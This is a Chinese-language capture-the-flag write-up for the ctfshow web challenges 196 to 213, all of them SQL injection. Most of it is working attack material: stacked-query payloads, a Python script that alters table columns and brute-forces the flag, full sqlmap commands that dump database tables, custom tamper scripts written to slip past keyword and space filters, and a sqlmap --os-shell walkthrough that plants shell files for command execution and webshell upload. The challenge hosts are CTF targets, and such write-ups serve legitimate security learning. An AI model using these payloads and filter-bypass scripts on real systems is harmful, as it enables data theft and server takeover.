if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

这里需要注意正则里ban的是se1ect,而不是select,所以select可以继续使用,payload为

1
2
username:520;select(1)
password:1

因为库中没有用户名为520的用户,所以查询后会返回后面的语句结果1

web197

1
2
3
4
5
6
7
8
9
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag

1
2
username:520;show tables
password:ctfshow_user

web198

1
2
3
4
5
6
7
8
9
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

依然可用上题payload打,但这里换另一个思路去解,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/15 22:53
# blog: www.wlhhlc.top
import requests

url = "http://e36a9275-a8a8-4def-bce5-0988a2b9b81d.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `dotast` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `dotast` `id` varchar(255);'
data1 = {
'username': payload,
'password': '1'
}
res = requests.post(url=url, data=data1)

for i in range(99):
data2 = {
'username': "0x61646d696e",
'password': f'{i}'
}
res2 = requests.post(url=url, data=data2)
if "flag" in res2.json()['msg']:
print(res2.json()['msg'])
break

web199

使用web197的payload打

1
2
username:520;show tables
password:ctfshow_user

web200

使用web197的payload打

1
2
username:520;show tables
password:ctfshow_user

web201

开始练习sqlmap的使用,首先我们去下载sqlmap

1
git clone https://github.com.cnpmjs.org/sqlmapproject/sqlmap.git

首先搜索框抓包,可以看到是get传参,并且提示要绕过referer检查,开始走起
查数据库

1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --referer="ctf.show" --dbs


得到数据库为ctfshow_web,查数据库中的表名

1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --refer="ctf.show" -D ctfshow_web --tables


得到表名为ctfshow_user,查表中的字段

1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user --columns


查password

1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump


获得flag

web202

提示要post传参,使用data

1
sqlmap -u "http://8e957c41-bdfc-4c2e-b9a1-81956347d234.challenge.ctf.show:8080/api/" --data="id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

web203

提示要用method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交

1
sqlmap -u "http://aff779db-d32d-41cb-b944-6cead4df2130.challenge.ctf.show:8080/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump

web204

提示传递cookie,我们再加个cookie参数就好了,cookie可以通过抓包获得

1
sqlmap -u "http://31d8cf4d-d658-4b3f-95bb-0068034e2304.challenge.ctf.show:8080/api/index.php" --data="id=1" --referer="ctf.show" --headers="Content-Type:text/plain" --method=PUT  --cookie="PHPSESSID=ijpf0cduare0gakqaihmah8nm1; ctfshow=f6757abd63836da6e094a4e776213b5b" -D "ctfshow_web" -T "ctfshow_user" -C "pass" --dump

web205

提示需要api鉴权,具体啥api我们抓包看看

可以看到每次请求api的时候首先会去请求一次getToken.php,而sqlmap中提供了以下两个参数

1
2
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

查表名

1
sqlmap -u "http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables

得到表名为ctfshow_flax,查字段

1
sqlmap -u "http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns

得到列flagx,获取数据

1
sqlmap -u "http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://705a05d8-3d8e-44e6-85d9-28dcc18c677a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump

得到flag

web206

提示sql要闭合,无须我们操作,sqlmap会帮我们的
还是一样继续查表,查字段…

1
sqlmap -u "http://4a7aa673-4493-4581-be03-26dd5a1305a8.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://4a7aa673-4493-4581-be03-26dd5a1305a8.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump

web207

开始进入编写tamper的时代啦!
首先观察返回逻辑,可以看到正则对空格进行了过滤

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}

遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下

举例如下tamper脚本:

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释

对于本题,过滤了空格,我们可以使用tamper文件夹下的space2comment.py文件,payload为

1
python3 sqlmap.py -u "http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment --dbs

那我们如何编写自己的tamper脚本呢?我们查看一下space2comment.py文件的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass weak and bespoke web application firewalls

>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue

retVal += payload[i]

return retVal

可以看到,tamper函数中把空格替换成/**/,我们把他换成%09来进行绕过空格,新建一个dotast.py,稍作改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue

retVal += payload[i]

return retVal

引用的tamper名字就是我们刚刚定义的dotast

1
python3 sqlmap.py -u "http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://04ac3359-1e07-4234-aa4c-992636c78c51.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump

web208

观察返回逻辑

1
2
3
4
5
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}

在上一题的基础上多过滤了关键字select,但注意这里只是过滤了小写的select,而sqlmap跑的payload一般都是大写的SELECT,所以继续用上一题我们写的tamper脚本即可

1
python3 sqlmap.py -u "http://03f47587-126e-41eb-bf12-4b246ef155e9.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://03f47587-126e-41eb-bf12-4b246ef155e9.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump

web209

观察返回逻辑,写了个正则表达式

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

多过滤了*=符号,我们可以用like编写,在前面的tamper脚本基础上我们改一下,这里我们只用绕过=号就行,*并不影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue

retVal += payload[i]

return retVal

payload

1
python3 sqlmap.py -u "http://5cb7a6b4-1596-4419-a3c2-8f1311e43bb5.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://5cb7a6b4-1596-4419-a3c2-8f1311e43bb5.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast --dbms "mysql" --threads 3 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump

web210

观察返回逻辑

1
2
3
4
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

套娃base64编码和字符串反转,我们按照他的逻辑反着写tamper即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("别套了别套了")

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal

payload

1
2
python3 sqlmap.py -u "http://b1cd1011-2aaf-4e10-8dbf-1a68dbd1e741.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://b1cd1011-2aaf-4e10-8dbf-1a68dbd1e741.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast --dbms "mysql" -D ctfshow_web -T ctfshow_flavi -C ctfs
how_flagxx --dump

web211

查看逻辑

1
2
3
4
5
6
7
8
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}

多增加了一个空格过滤,我们改改脚本,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("别套了别套了")

def tamper(payload, **kwargs):

retVal = payload

retVal = retVal.replace(" ", "/**/")
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal

payload

1
python3 sqlmap.py -u "http://497e212a-5e74-455f-8188-48031701300a.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://497e212a-5e74-455f-8188-48031701300a.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

web212

观察逻辑

1
2
3
4
5
6
7
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}

在前一题基础上正则多过滤了*,所以我们不能使用/**/来替换空格,换成之前说的tab来绕过,所以改一下tamper脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("别套了别套了")

def tamper(payload, **kwargs):
payload = bypass(payload)

retVal = payload
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal

def bypass(payload):
retVal = ""
for i in range(len(payload)):
if payload[i]==" ":
retVal += chr(0x9)
else:
retVal += payload[i]
return retVal

payload

1
2
python3 sqlmap.py -u "http://19730fa8-da86-4bbe-b12a-bf0d436b20c7.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://19730fa8-da86-4bbe-b12a-bf0d436b20c7.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --
dump

web213

观察逻辑

1
2
3
4
5
6
7
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}

和上一题一样,不过这题让我们使用--os-shell的方法,我们就换成使用--os-shell吧。首先要了解一下什么是--os-shell

–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;
不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限

在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出

我们可以实验一下,payload如下(要记得加上我们之前的tamper脚本绕过waf哦)

1
python3 sqlmap.py -u "http://bb22b06a-fa2f-468b-a261-672dc1165e77.challenge.ctf.show:8080/api/index.php" --data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://bb22b06a-fa2f-468b-a261-672dc1165e77.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=dotast --os-shell

因为靶机是php环境,所以我们选择4;目录选择1默认路径即可
可以看到成功获得了交互式shell
细心的朋友们可以发现,上图中出现了两个php文件,分别是tmpbvrci.php和tmpuuydd.php,这就是前面所提到的sqlmap上传的两个shell文件。我们分别访问一下

tmpbvrci.php就是提供给我们执行命令,而tmpuuydd.php就是提供给我们进行文件上传。到这里,相信你们对–os-shell基本原理都了解了;
至于flag,可以在前面的交互性shell拿到,也可以在tmpuuydd.php上传webshell连接服务器拿到

web214